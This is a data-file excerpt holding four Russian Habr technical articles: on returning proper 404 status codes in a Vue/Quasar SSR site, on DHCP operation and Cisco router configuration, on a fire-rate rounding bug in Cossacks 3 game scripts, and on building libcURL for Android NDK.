text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Отдаем корректный код 404 в связке VUE SPA + SSR
Есть у меня один сайт, как сейчас говорят, пет-проект. Был написан в далеком 2013 году, что называется "на коленке" без использования каких-то фреймворков. Только php, только хардкор. Но тем не менее, функции свои выполнял, даже обрел некую популярность в узких кругах и был неплохо проиндексирован.
Недавно было решено начисто переписать его на современном стеке. Выбор пал на Laravel и Vue с серверным рендером. Сказано — сделано. Сайт переписан, развернут на vps, работает. Но есть одно но. В яндекс-метрике остались тысячи ссылок, которые на текущий момент не актуальны, но эти адреса возвращают код 200 и поисковый бот снова и снова их проверяет. Не хорошо.
Итак, проблема обозначена. Посмотрим на используемый стек технологий, чтобы понять что к чему.
### Подготовка
Laravel используется исключительно в качестве API, на сервере висит на localhost:81, а nginx проксирует к нему маршруты `/api` . Здесь ничего не сделать.
Фронтэнд написан с использованием фреймворка [quasar](https://quasar.dev/quasar-cli/installation). Это невероятно крутая вещь, которая может собрать вам сайт или приложение под несколько платформ. Я использую платформу SSR. В этом случае квазар собирает весь фронт, плюс генерирует nodejs-сервер на базе express. Этот сервер у меня запущен на localhost:3000 и опять же nginx проксирует к нему все остальные запросы (кроме API).
Чтобы говорить более предметно, давайте создадим простенький проект. Будем считать, что с установкой quasar/cli вы справитесь сами/
```
quasar create q404
```
В папке q404 будет создана стартовая заготовка проекта. Можно перейти в нее и запустить сервер разработки.
```
cd q404
quasar dev -m ssr
```
Не заморачиваясь сильно на этом тестовом проекте, добавим вторую страницу AboutMe:
pages/AboutMe.vue
```
export default {
name: 'AboutMe',
};
About me
========
```
Соответствующий роут
router/routes.js
```
const routes = [
{
path : '/',
component: () => import('layouts/MainLayout'),
children : [
{ path: '', component: () => import('pages/Index') },
// Added:
{ path: 'about-me', component: () => import('pages/AboutMe') },
],
},
```
И заменим главное меню
layouts/MainLayout.vue
```
const linksData = [
{
title: 'Homepage',
icon : 'code',
link : { path: '/' },
},
{
title: 'About Me',
icon : 'code',
link : { path: '/about-me' },
},
{
title: '404 test',
icon : 'code',
link : { path: '/404' },
},
];
```
Для правильной работы следует еще поменять компонент EssentialLink.vue
EssentialLink.vue
```
...
link: {
type : Object,
default: null,
},
...
...
```
Теперь все готово. Если сейчас мы запустим dev-сервер и откроем сайт, то увидим, что все работает, а заглянув в исходный код страницы убедимся, что и серверный рендер отрабатывает.
Кроме одной проблемы — страница 404 возвращает нам код ответа 200.
### Поиск решения
Поиск информации в интернете готовых к использованию решений не дал. В официальном репозитории квазара есть [ишью](https://github.com/quasarframework/quasar/issues/3831) где рекомендуют создать отдельный роут для 404 страницы и редиректить на нее. Это не всегда подходит, мне, например, хотелось бы, чтобы пользователь оставался на той же странице, которую запросил, но с отображением плашки "404 not found", т.е. чтобы url в адресной строке не менялся.
Другой совет заключается в том, чтобы не использовать в приложении роут "\*". Да. В этом случае при запросе несуществующей страницы сервер ответит кодом 404, но при навигации внутри приложения у нас теперь не будет красивой плашки 404. Не подходит.
На тостере предлагалось в сервере express делать дополнительные запросы и отправлять при необходимости 404-й код. Но сами понимаете, такое себе решение. В топку.
Встречались и еще советы разной степени полезности, но все они были отброшены как не подходящие по тем или иным причинам.
Но как я люблю отвечать заказчикам на их хотелки — "для программиста нет ничего невозможного, чего бы он не мог сделать с кодом". Это наша вселенная, мы здесь боги.
### Решение
Давайте еще раз сформулируем ТЗ. Мы хотим
* отдавать 404 по несуществующим адресам (тем, что явно не прописаны в нашем роутере)
* отдавать 404 по несуществующим эндпойнтам API
* отдавать 404 при отсутствии запрошенной информации. Т.е. эндпойнт верный, но объекта в базе данных нет.
* также не хотим отказываться от использования роута "\*" на стороне клиента
Решение на самом деле находится на поверхности.
Посмотрим на на код сервера, который нам предлагает квазар:
src-ssr/index.js
```
ssr.renderToString({ req, res }, (err, html) => {
if (err) {
if (err.url) {
res.redirect(err.url)
}
else if (err.code === 404) {
// Should reach here only if no "catch-all" route
// is defined in /src/routes
res.status(404).send('404 | Page Not Found')
}
else {
// Render Error Page or
// create a route (/src/routes) for an error page and redirect to it
res.status(500).send('500 | Internal Server Error')
if (ssr.settings.debug) {
console.error(`500 on ${req.url}`)
console.error(err)
console.error(err.stack)
}
}
}
else {
res.send(html)
}
})
```
Комментарий в ветке условия 404 предупреждает нас, что сюда мы попадем, только если не будем использовать роут "\*". А также мы можем понять, что если фреймворк не выбрасывает нас сюда, то мы сами можем бросить ошибку с телом `{code:404}`.
Квазар предлагает нам дополнительный хук — [preFetch](https://quasar.dev/quasar-cli/prefetch-feature#How-PreFetch-Helps-SSR-Mode). Мы можем им воспользоваться, чтобы на стороне сервера выбросить нужную ошибку.
Для задействования данной фичи, нужно раскомментировать в файле quasar.conf.js строку
```
preFetch: true,
```
В компоненте Error404.vue добавим код
```
export default {
name: 'Error404',
preFetch({ ssrContext }) {
if (ssrContext) {
return Promise.reject({ code: 404 });
}
},
};
```
Теперь при отображении данного компонента будет выбрасываться ошибка и express сервер сможет поймать её и ответить кодом 404. Причем, ошибка будет выбрасываться только в контексте серверного рендера, на клиенте же, перейдя на не существующий адрес, мы увидим красивую заглушку NotFound.
Первый и четвертый пункты требований мы выполнили.
Теперь займемся обработкой api-вызовов. Подготовим Axios. Создадим инстанс, настроим его и привяжем Vue.
boot/axios.js
```
import Axios from 'axios';
export default ({ Vue, ssrContext, store }) => {
let axiosInstance = Axios.create({
baseURL : '/api',
timeout : 0,
responseType : 'json',
responseEncoding: 'utf8',
headers : {
'X-Requested-With': 'XMLHttpRequest',
'Accept' : 'application/json',
},
// Reject only if the status code is greater than or equal to specify here
validateStatus: status => status < 500,
});
// ...
Vue.axios = axiosInstance;
}
```
Здесь все стандартно — обозначаем базовый урл, типы ответов, кодировку, заголовки. Функция `validateStatus` определяет ответы с какими кодами считать ошибкой. Мы будем считать ошибками все коды 5xx. В этом случае сайт будет возвращать код 500 и соответствующее сообщение.
Чтобы централизованно обрабатывать запросы к несуществующим эндпойнтам, добавим в эту конфигурацию перехватчик (interceptor в axios):
```
//...
axiosInstance.interceptors.response.use(response => {
if (response.status >= 400) {
if (ssrContext) {
return Promise.reject({ code: response.status });
} else {
// store.commit('showErrorPage', response.status);
}
}
return response.data;
});
```
К закомментированной строке вернемся позднее. Теперь Axios будет отклонять промис при ответах сервера с ошибками 4xx, и мы будем попадать в соответствующую ветку условия в сервере express чтобы вернуть правильный статус-код.
Для примера модифицируем компонент AboutMe.vue, добавив в него запрос к нашему API. Так как апишки у нас сейчас нет, запрос вернет 404 ошибку.
```
preFetch() {
return Vue.axios.get('/test.json')
.then(response => {
console.log(response);
});
},
```
Здесь два важных момента. Мы должны обязательно вернуть промис и мы не должны перехватывать ошибку, оставив это на откуп библиотеке Axios. Если нам нужно выполнить для данной страницы несколько запросов, можно обернуть их в `Promise.all`.
Теперь, если мы перейдем на адрес `/about-me`, и обновим страницу, то увидим в панели разработчика браузера, что запрос *страницы* возвращает ответ с кодом 404. То что нужно поисковым системам! Пункт два выполнен.
Однако при внутреннем переходе на данную страницу пользователь никак не информируется о проблеме. Тут можно применить разные решения для отображения плашки 404. Я использовал следующее.
Добавил в стор флаг
```
showErrorPage: false,
```
Мутацию
```
export const showErrorPage = (state, show) => state.showErrorPage = show;
```
И условие в компонент основной раскладки
```
```
И возвращаясь к загрузчику Axios, раскомментируем там строку
```
store.commit('showErrorPage', response.status);
```
Еще в роутере придется добавить хук `beforeEach` для сброса этого флага (но только при работе в браузере)
router/index.js
```
export default function ({ store, ssrContext }) {
const Router = new VueRouter({
scrollBehavior: () => ({ x: 0, y: 0 }),
routes,
mode: process.env.VUE_ROUTER_MODE,
base: process.env.VUE_ROUTER_BASE,
});
if (!ssrContext) {
Router.beforeEach((to, from, next) => {
store.commit('showErrorPage', false);
next();
});
}
return Router;
}
```
На данный момент мы реализовали 3 из 4-х пунктов технического задания.
Что касается третьего пункта
> отдавать 404 при отсутствии запрошенной информации. Т.е. эндпойнт верный, но объекта в базе данных нет.
>
>
то тут возможны варианты. Если вы делаете свой API, как положено, RESTful, то такой запрос обязан вернуть статус-код 404, что уже вписывается в построенную систему. Если же вы по каким-то причинам возвращаете объекты типа
```
{
"status": false,
"message": "Object not found"
}
```
то можно добавить дополнительные проверки в перехватчик Axios.
### Еще кое-что
Внимательный читатель заметил, что мы в перехватчике отклоняем промис таким образом:
```
Promise.reject({ code: response.status });
```
А значит должны немного доработать express-сервер
```
else if (err.code >=400 && err.code < 500) {
res.status(err.code).send(`${err.code} | ${getStatusMessage(err.code)}`);
}
```
*Реализацию функции* `getStatusMessage`*рассматривать не будем =)*
Таким образом мы получили также возможность корректной обработки любых 4хх кодов ответа от API и в первую очередь нам конечно интересны 401 и 403.
### Заключение
Вот, пожалуй, и все, что я хотел написать.
[Исходники тестового проекта закинул на гитхаб](https://github.com/delphinpro/q404) | https://habr.com/ru/post/523078/ | null | ru | null |
# Особенности работы и настройки DHCP на маршрутизаторах Cisco
В статье я хочу рассмотреть использование DHCP-сервера на базе маршрутизатора Cisco в корпоративной сети…
1. Теория
---------
Как следует из названия, протокол DHCP (Dynamic Host Configuration Protocol) используется для динамической конфигурации параметров сетевых устройств.
Работа протокола DHCP начинается с того, что клиент, которому необходима динамическая конфигурация, шлет запрос **DISCOVERY**. Выглядит он следующим образом:
> `Frame 34 (342 bytes on wire, 342 bytes captured)
>
> Ethernet II, Src: 02:00:4c:4f:4f:50 (02:00:4c:4f:4f:50), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
>
> #МАС-адрес получателя широковещательный
>
> Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255)
>
> #IP-адрес также широковещательный
>
> User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)
>
> #UDP-порты 68 и 67 определяют клиента и сервер
>
> Client IP address: 0.0.0.0 (0.0.0.0)
>
> #указывается текущий адрес клиента, может содержать не нулевое значение если, например, у клиента есть ip-адрес и он продлевает время его аренды
>
> Your (client) IP address: 0.0.0.0 (0.0.0.0)
>
> #в этом поле указывается адрес, выдаваемый DHCP-сервером при ответе
>
> Next server IP address: 0.0.0.0 (0.0.0.0)
>
> #адрес самого DHCP-сервера
>
> Relay agent IP address: 0.0.0.0 (0.0.0.0)
>
> #адрес Relay-агента, если имеется (будет рассмотрен далее)
>
> Client MAC address: 02:00:4c:4f:4f:50 (02:00:4c:4f:4f:50)
>
> #МАС-адрес клиента`
Дальше идет поле опций, номера опций могут быть в диапазоне от 0 до 255, каждая опция имеет свое назначение:
> `Option: (t=50,l=4) Requested IP Address = 192.168.13.2
>
> #опция 50 имеет длину 4 байта, в ней указывается IP-адрес, который хотел бы получить клиент по возможности
>
> Option: (t=12,l=8) Host Name = "MainHost"
>
> #опция 12 имеет длину 8 байт, в ней указывается текущее имя хоста, которое может быть изменено после конфигурации
>
> Option: (t=55,l=11) Parameter Request List
>
> #опция 55, в ней содержится список запрашиваемых клиентом параметров, в данной ситуации клиент запрашивает 11 параметров, каждому из которых соответствует номер опции`

В ответ сервер шлет предложение **OFFER**, в котором указывает адрес, который он назначает клиенту, а также заполняет опции соответствующими значениями:

Клиент может получить несколько предложений OFFER от разных DHCP-серверов (если их несколько), какому из серверов отдать предпочтение, выбирает сам клиент. Обычно клиент выбирает тот сервер, от которого он первым получил предложение.
После того, как клиент определяет для себя сервер, с которого он хочет получить конфигурацию, он отправляет запрос **REQUEST**. Запрос отправляется широковещательно, чтобы его могли получить все DHCP-сервера, а адрес того сервера, который выбрал клиент, указывается в специальной опции:
> `Option: (t=54,l=4) DHCP Server Identifier = 192.168.13.1`
Таким образом клиент говорит всем серверам в широковещательном домене, какому из них он отдал предпочтение.
Следующим шагом является подтверждение запроса (сообщение **ACK**) со стороны сервера. Сервер также широковещательно рассылает подтверждение, но в теле сообщения явным образом указывает МАС-адрес клиента:
> `Client MAC address: 02:00:4c:4f:4f:50 (02:00:4c:4f:4f:50)`
При назначении адресов и клиент и сервер проверяют их уникальность. Предположим, на сервере сконфигурирован пул адресов, который начинается с адреса 192.168.13.2. Первый адрес пула назначен вручную одним из пользователей сети. При назначении такого адреса по DHCP произойдет конфликт, поэтому, для развязания конфликтов существует следующий механизм:

После получения сообщения DISCOVERY (строка 1), сервер выбирает первый адрес из пула (в данном случае 192.168.13.2) и отправляет на него ARP-запрос (строка 2)
Так как компьютер с таким адресом существует в сети, сервер получает ответ (строка 3).
Чтобы убедиться в наличии в сети узла с адресом 192.168.13.2 сервер отправляет на этот адрес Echo-Request (строка 4) и получает ответ (строка 5).
В таком случае, сервер берет следующий свободный адрес из пула (в данном случае 192.168.13.3) и отправляет на него ARP-запрос (строка 6)
Не дождавшись ответа (прошло почти 15 сек.) сервер считает адрес свободным и предлагает его клиенту в сообщении REQUEST (строка 7).
Клиент, подтвердив получение адреса (строка 8) и дождавшись подтверждения от сервера (строка 9), также проверяет, не занят ли кем-то выданный адрес.
Это делается путем отправки ARP-запросов клиентом (строки 10-12), если ответ на запрос не пришел, клиент назначает себе на интерфейс полученный адрес.
2. Базовая настройка на маршрутизаторе Cisco
--------------------------------------------
Рассмотрим самый простой случай, когда на маршрутизаторе конфигурируется один пул адресов и сервер находится в том же широковещательном домене, что и клиенты:
> `!в режиме глобальной конфигурации определим адреса, которые будут исключены из пула, в данном случае это адреса 192.168.13.1 и 192.168.13.10...192.168.13.15
>
> ip dhcp excluded-address 192.168.13.1
>
> ip dhcp excluded-address 192.168.13.10 192.168.13.15
>
> !создадим пул адресов с именем lan\_pool1
>
> ip dhcp pool lan_pool1
>
> !определим подсеть, из которой будут выдаваться адреса
>
> network 192.168.13.0/24
>
> !определим адрес шлюза по-умолчанию
>
> ip default-router 192.168.13.1
>
> !определим адреса DNS-серверов
>
> dns-server 192.168.13.10 192.168.13.11
>
> !определим имя домена
>
> domain-name example.ua
>
> !определим время аренды адреса 5 дней (по-умолчанию 1 день)
>
> lease 5`
При такой конфигурации сервер будет выдавать адреса только тем клиентам, запрос от которых пришел через интерфейс, адрес которого находится в той же сети, что и сконфигурированный пул.
На этом пока все, спасибо за внимание и за инвайт :). В дальнейшем планирую подробнее описать работу DHCP-Relay и ряд специфических опций. | https://habr.com/ru/post/87920/ | null | ru | null |
# Играй, но проверяй: как движок обсчитывает дизайнера

При дизайне многопользовательской игры чуть ли не самой важной составляющей является баланс. Работа игрового дизайнера в этом плане похожа на работу аналитика спецслужб: если он работает хорошо, никто ничего не замечает. Стоит оступиться, и игроки бессовестно воспользуются ошибкой. Но самое интересное случается, когда помимо гейм-дизайнера ошибается ещё и программист...
В этой статье мы рассмотрим один элемент стратегии «[Казаки 3](http://www.cossacks3.com/)». В игре присутствуют различные виды мушкетёров и иных стрелков 17 и 18 веков, а также возможность исследовать технологии, снижающие время перезарядки мушкетов. Всего имеется два улучшения, каждое из которых приносит +30% к скорострельности — если верить интерфейсу игры.
Но даже на глаз видно, что некоторые боевые единицы после исследования улучшений стреляют не просто на 60%, а даже в несколько раз чаще. При измерении скорострельности непосредственно с помощью встроенного игрового таймера выходят и вовсе странные числа, которые к заявленным процентам никакого отношения не имеют.
Под капотом у «Казаков»
=======================
К счастью, игра выполнена в очень дружелюбном для моддеров виде, так что все нужные нам скрипты доступны в виде текстовых файлов в папке *data/scripts/*. Судя по синтаксису, скрипты написаны на [Делфи](https://ru.wikipedia.org/wiki/Delphi_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) или на очень похожем языке. Давайте же взглянем на механику расчёта интервалов между выстрелами.
**Примечания*** *Анализ проводился на игре «Казаки 3» версии 2.1.4.*
* *Все приведённые ниже отрезки скриптов содержат упрощённый псевдокод.*
1. При старте игры происходит инициализация всех боевых единиц. В процедуре указываются значения жизненной силы, стоимости и вооружения для каждого типа. Для стрелкового оружия передаётся параметр, указывающий интервал между выстрелами в игровых кадрах:
```
//lib/unit.script
procedure _unit_InitBase()
'musketeer' :
maxhp := 70;
SetObjBaseWeapon( x,x,x,x, 150, ... );
SetObjBasePrice( ... );
//lib/unit.script
procedure SetObjBaseWeapon( x,x,x,x, pause, ... )
weapon.pause := _misc_FramesToTime( pause );
```
Судя по комментариям, единица времени «игровой кадр» это атавизм из первых «Казаков», игровой процесс которых был скопирован при создании третьей части. Впрочем, кадры сразу же пересчитываются в игровые секунды с соотношением 1:32, и больше мы с ними не сталкиваемся:
```
//lib/misc.script
function _misc_FramesToTime( val )
Result := ( val * gc_frames_to_time );
//dmscript.global
gc_frames_to_time := 0.03125;
gc_time_to_frames := 32;
```
2. Также при старте игры инициализируются данные игровых наций, включая доступные улучшения. Для каждого из них указывается и сохраняется переменная *value*, которая при исследовании этого улучшения влияет на перерасчёт нужных параметров игры:
```
//lib/country.script
procedure _country_Init()
_country_AddUpgrade( x,x,x,x, type_attpauseperc, -30, ... );
procedure _country_AddUpgrade( x,x,x,x, upgrade_type, value, ... );
```
В нашем случае это означает, что интервалы боевых единиц после каждого улучшения умножаются на 0,7 а затем… округляются?!
```
//lib/player.script
procedure _player_ApplyUpgrade()
type_attpauseperc :
weapon.pause := Round( weapon.pause * (1 + value/100) );
```
Учитывая то, что изначально интервалы стрелков представляют собой числа с плавающей запятой в диапазоне от 3,125 до 5,0, решение округлять результат перерасчёта выглядит довольно странно, если не сказать бажно.
3. После каждого произведённого выстрела указывается задержка перед следующим выстрелом. Модификатор *idividual.attackrate* применяется к башенным сооружениям и в нашем случае всегда равен 1.
```
//lib/unit.script
procedure _unit_ApplyAttackPause()
attackdelay := weapon.pause * idividual.attackrate;
```
Итак, помимо математической ошибки в расчётах, детали которой можно прочитать под спойлером ниже, налицо неуместное округление чисел с плавающей запятой. Интересно, какой эффект на механику игры имеет эта на первый вздляд незначительная оплошность?
**Немного математики**Величина скорострельности обратно пропорциональна величине интервала между выстрелами. И если для игрока важно именно количество выстрелов в минуту, то игровой движок, как правило, использует интервалы для подсчёта паузы. Подвох здесь в том, что «снизить интервал на 30%» и «повысить скорострельность на 30%» это совершенно разные вещи. Соотношение *r* между интервалами *t* и количествами выстрелов *n* описывается простой формулой:

Если, например, взять интервал в 6 секунд (10 выстрелов в минуту) и уменьшить его на 30%, то мы не получим 13 выстрелов в минуту:
Чтобы получить нужную величину, следует разделить текущий интервал на желаемое соотношение новой скорострельности к старой:
**Метод измерения**Чтобы получить значения, с которыми работает движок игры, можно воспользоваться функциями протоколирования. Для этого сначало нужно включить запись лога:
```
//cossacks.ini & editor.ini
LogFileEnabled = true
LogFileRoot = true
```
А затем добавить в конце процедуры *\_unit\_ApplyAttackPause()* вызов функции *Log()*:
```
//data/scripts/lib/unit.script
procedure _unit_ApplyAttackPause(const goHnd, weapind : Integer);
begin
//...
if (attpause<>0) then
Log(TObjProp(pobjprop).sid+' '+FloatToStr(attpause));
end;
```
Теперь можно поиграться с различными стрелками и улучшениями в редакторе карт (для включения режима нападения следует нажать *Ctrl+W*). Протокол будет записан в текстовый файл в папке */log*. После каждого произведённого выстрела будет записан идентификатор боевой единицы и величина её текущего интервала.
Who is who
==========
Изначально скрипты игры различают 35 видов стрелков (не считая наёмников, которые не подвержены воздействию улучшений). Если сгруппировать их всех по величине интервала, то мы сможем выделить десять категорий. Я решил сортировать их по относительному приросту скорострельности, чтобы выделить тех стрелков, кто больше других выигрывает от улучшений. Итак, результаты анализа:
| | | | |
| --- | --- | --- | --- |
| | Интервал атаки | Выстрелы / мин | Рост скорострельности |
| Категория$\backslash$Улучшения | 0 | +1 | +2 | 0 | +1 | +2 | +1 | +2 |
| I | 5,00 | 4,0 | 3,0 | 12,0 | 15 | 20 | +25% | +67% |
| II | 6,88 | 5,0 | 4,0 | 8,7 | 12 | 15 | +38% | +72% |
| III | 5,31 | 4,0 | 3,0 | 11,3 | 15 | 20 | +33% | +77% |
| IV | 5,63 | 4,0 | 3,0 | 10,7 | 15 | 20 | +41% | +88% |
| V | 3,75 | 3,0 | 2,0 | 16,0 | 20 | 30 | +25% | +88% |
| VI | 5,94 | 4,0 | 3,0 | 10,1 | 15 | 20 | +48% | +98% |
| VII | 4,06 | 3,0 | 2,0 | 14,8 | 20 | 30 | +35% | +103% |
| VIII | 4,38 | 3,0 | 2,0 | 13,7 | 20 | 30 | +46% | +119% |
| IX | 4,69 | 3,0 | 2,0 | 12,8 | 20 | 30 | +56% | +134% |
| X | 3,13 | 2,0 | 1,0 | 19,2 | 30 | 60 | +56% | +213% |
В диаграмме ниже столбцы соответствуют категориям I—X, слева направо. Последний штрихованный столбец диаграммы соответствует заявленному в интерфейсе игры приросту скорострельности. Левая группа столбцов показывает прирост скорострельности после одного улучшения, правая — после обоих.
**Список категорий и боевых единиц**В игре присутствуют различные нации — 17 европейских и четыре уникальных (Украина, Турция, Алжир и Шотландия). Европейские фракции изначально очень похожи и имеют мушкетёров и драгун 17—18 вв., а также гренадёров. Но иногда стрелки некоторых наций отличаются от шаблонных, или же вовсе заменены уникальным типом.
| Категория | Боевые единицы |
| --- | --- |
| I | Мушкетер 17в. (Австрия)
*Секей (Венгрия)*
*Шотландский стрелок (Англия)*
**Посполитое рушение (Польша)**
***Драгун 18в. (Нидерланды и Пьемонт)*** |
| II | *Егерь (Швейцария)*
**Королевский мушкетер (Франция)** |
| III | *Гренадер (Европа кроме Дании и Пруссии)*
***Драгун 18в. (Европа кроме Франции, Нидерландов и Пьемонта)***
***Легкий кавалерист (разные страны)*** |
| IV | **Драгун 17в. (Европа)** |
| V | Мушкетер 17в. (Нидерланды) |
| VI | Мушкетер 17в. (Испания)
*Мушкетер 18в. (Бавария и Дания)*
*Гренадер (Дания)*
*Доброволец (Португалия)*
*Егерь (Франция)* |
| VII | Сердюк (Украина) |
| VIII | *Мушкетер 18в. (Саксония)*
*Гренадер (Пруссия)* |
| IX | Мушкетер 17в. (Европа кроме Австрии, Польши, Нидерландов и Испании)
Мушкетер Ковенанта (Шотландия)
Стрелец (Россия)
Янычар (Турция)
*Мушкетер 18в. (Европа кроме Дании, Баварии и Саксонии)*
*Пандур (Австрия)*
***Драгун 18в. (Франция)*** |
| X | Мушкетер 17в. (Польша)
Гайдук (Венгрия) |
Примечания:
* Наименования боевых единиц скопированы из русского интерфейса игры.
* *Курсивом* выделены стрелки 18 века.
* **Жирным шрифтом** выделены конные стрелки.
Оказывается, больше всех от улучшений скорострельности выигрывают польский мушкетёр 17 века и венгерский гайдук: вместо обещанных +60% они стреляют более чем в три раза чаще. Благодаря низкому изначальному значению интервала они в итоге стреляют быстрее всех остальных стрелков в два, три, а то и четыре раза.
Среди кавалерии лучше всего устроились французские драгуны 18 века: они получают прирост скорострельности более чем в два раза. В итоге они совершают на 50% больше выстрелов в минуту, чем их коллеги из остальных европейских наций.
Естественно, здесь не учитывается урон выстрела или урон в секунду, но даже и без этих данных очевидно, что боевые единицы ведут себя не так как задумано.
**Как исправить**Самое быстрое и неинвазивное решение проблемы это переписать формулу применения улучшения. Кроме отказа от округления следует вместо умножения интервала на 0,3 поделить его на 1,3. Для этого достаточно заменить в процедуре обработки улучшения *gc\_upg\_type\_attpauseperc* формулу с
```
//lib/player.script
Round(weapon.pause*(1+value/100));
```
на
```
weapon.pause/(1+(-value)/100);
```
Так как улучшения применяются последовательно, в итоге вместо заявленных +60% мы получим +69%. Но это всё же лучше чем +213%.
Послесловие
===========
Чтобы достоверно выявить просчёты в балансе в данном случае следует проанализировать ещё два аспекта игровой механики — урон стрелков и экономическая стоимость вместе с временем, требуемым на создание боевой единицы. Однако здравый смысл подсказывает, что сначала следует подождать следующего обновления...
Идею для исследования я почерпнул из видеоролика «[Why Attack Rates in AoE2 Are Often Wrong](https://www.youtube.com/watch?v=TeZfEaOOH60)» (англ.), рассматривающего схожую проблематику в стратегии [Age of Empires II](https://ru.wikipedia.org/wiki/Age_of_Empires_II:_The_Age_of_Kings).
UPD: Ошибка частично исправлена
===============================
Не прошло даже недели с момента публикации статьи, как разработчики в обновлении 2.2.1 устранили ошибку с округлением. При этом сама формула осталась той же — скорострельность растёт по 43% за апгрейд. Так как расчёт инкрементальный, то после исследования обоих улучшений все стрелки работают на 104% быстрее.
**Таблица****Скорострельности боевых единиц в выстрелах в минуту после исследования обоих улучшений, в порядке возрастания:**
| Боевые единицы | Выстрелы |
| --- | --- |
| Егерь *(Швейцария)*
Королевский мушкетер *(Франция)* | 17,8 |
| Мушкетер 17в. *(Испания)*
Мушкетер 18в. *(Бавария и Дания)*
Гренадер *(Дания)*
Доброволец *(Португалия)*
Егерь *(Франция)* | 20,6 |
| Драгун 17в. *(Европа)* | 21,8 |
| Гренадер *(Европа кроме Дании и Пруссии)*
Драгун 18в. *(Европа кроме Франции, Нидерландов и Пьемонта)*
Легкий кавалерист *(разные страны)* | 23,0 |
| Мушкетер 17в. *(Австрия)*
Секей *(Венгрия)*
Шотландский стрелок *(Англия)*
Посполитое рушение *(Польша)*
Драгун 18в. *(Нидерланды и Пьемонт)* | 24,5 |
| Мушкетер 17в. *(Европа кроме Австрии, Польши, Нидерландов и Испании)*
Мушкетер Ковенанта *(Шотландия)*
Стрелец *(Россия)*
Янычар *(Турция)*
Мушкетер 18в. *(Европа кроме Дании, Баварии и Саксонии)*
Пандур *(Австрия)*
Драгун 18в. *(Франция)* | 26,1 |
| Мушкетер 18в. *(Саксония)*
Гренадер *(Пруссия)* | 28,0 |
| Сердюк *(Украина)* | 30,1 |
| Мушкетер 17в. *(Нидерланды)* | 32,7 |
| Мушкетер 17в. *(Польша)*
Гайдук *(Венгрия)* | 39,2 | | https://habr.com/ru/post/414853/ | null | ru | null |
# Как портировать libcURL под Android
Статья предназначена для разработчиков под Android NDK, которые собираются работать с замечательной библиотекой libcURL и иметь в своем распоряжении ее исходники для пересборки в статическую библиотеку. Автор не претендует на абсолютно правильное решение проблемы портирования данной библиотеки, а только лишь делится своим опытом.
Всех заинтересовавшихся прошу под кат.
##### Преамбула
Разрабатываю собственное Android-приложения на Windows 7, использую Eclipse Indigo для Java-обертки native-приложения, собранного Cygwin-ом. Native часть написана на C++ с включением кросс-платформенных библиотек на C и с возможностью отладки в Visual Studio 2010 Express.
Недавно во время разработки появилась необходимость выкачивать из интернета картинки. По предыдущему опыту разработки под Windows ничего лучше libcURL я не видел, по-этому и решил остановиться на ней.
##### Фабула
Первый сюрприз обнаружился, когда я начал выкачивать исходники с сайта разработчика: [curl.haxx.se/download.htm](http://curl.haxx.se/download.htm). Под Android там выложена только собранная версия. Не беда, подумал — «Как-нибудь сам сдюжу сборку», скачал сырцы (curl-7.27.0).
Дело было не поздним вечером и за часик планировал добить эту задачу и перейти к более интересным занятиям. Просмотрел бегло Android.mk файл и вкорячил в собственный Android.mk все для сборки данного чуда. Начали вылезать очень неприятные ошибки в cygwin — «CURL\_SIZEOF\_LONG definition is missing!», и иже с ними. Полез искать решение проблемы: [stackoverflow.com/questions/4952169/using-curl-in-android](http://stackoverflow.com/questions/4952169/using-curl-in-android). Сделал все, как советовали, но ошибки с отсутствующими макросами остались. В итоге понял, что дальше самостоятельно экспериментировать глупо, пошел читать статьи типа: [thesoftwarerogue.blogspot.ru/2010/05/porting-of-libcurl-to-android-os-using.html](http://thesoftwarerogue.blogspot.ru/2010/05/porting-of-libcurl-to-android-os-using.html). Дело было уже далеко за полночь, пришлось закругляться на столь не позитивной ноте.
Поутру на свежую голову начал вычитывать вышеприведенную статью и понял, что сама концепция сборки противоречит здравому смыслу. Для сборки нужно создать curl\_config.h под полным исходным кодом Android! Дальше читать было просто бессмысленно, тем более что найденные варианты этого магического хедера не позволяли избежать вышеприведенных ошибок в cygwin. Твердо решив для себя, что данный путь порочен, я начал развивать заброшенную идею о сборке просто из исходников, заброшенную накануне. Нашел статью, где товарищ очень любезно сказал, что так сделать можно и выложил… скомпилированый вариант [blog.glowinteractive.com/2011/11/porting-curl-to-android-as-static-library](http://blog.glowinteractive.com/2011/11/porting-curl-to-android-as-static-library/). Спасибо хоть за то, что хотя-бы подсказал, что надо вручную сделать хедер конфигурации, чем я и занялся. Взял config-mac.h, сделал из него config-android.h и включил его в setup.h. И о чудо — минуя ошибки доработкой config-android.h получилось собрать библиотеку из исходников и оттестировать нужную мне работоспособность (выкачивание картинок из интернета).
##### Инструкция по доработке:
###### в include/curl/curlbuild.h
находим
```
#elif defined(__GNUC__)
```
добавляем секцию
```
# else
# define CURL_SIZEOF_LONG 4
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_FORMAT_OFF_T "%lld"
# define CURL_SIZEOF_CURL_OFF_T 8
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
```
можно ее назвать
```
#elif defined(ANDROID)
```
следующей за
```
elif defined(__x86_64__) || defined(__ppc64__)...
```
###### в lib/setup.h
находим
```
#ifdef __VXWORKS__
# include "config-vxworks.h"
#endif
```
и добавляем за ней
```
#ifdef __GNUC__
# include "config-android.h"
#endif
```
Создаем lib/config-android.h из lib/config-mac.h
###### в lib/config-android.h
меняем
```
#define OS "mac"
```
на
```
#define OS "android"
```
меняем
```
#define HAVE_IOCTL_FIONBIO 1
```
на
```
#define HAVE_FCNTL_O_NONBLOCK 1
```
меняем
```
#define SEND_TYPE_ARG3 size_T
```
на
```
#define SEND_TYPE_ARG3 size_t
```
удаляем строки
```
#define HAVE_EXTRA_STRICMP_H 1
#define HAVE_EXTRA_STRDUP_H 1
```
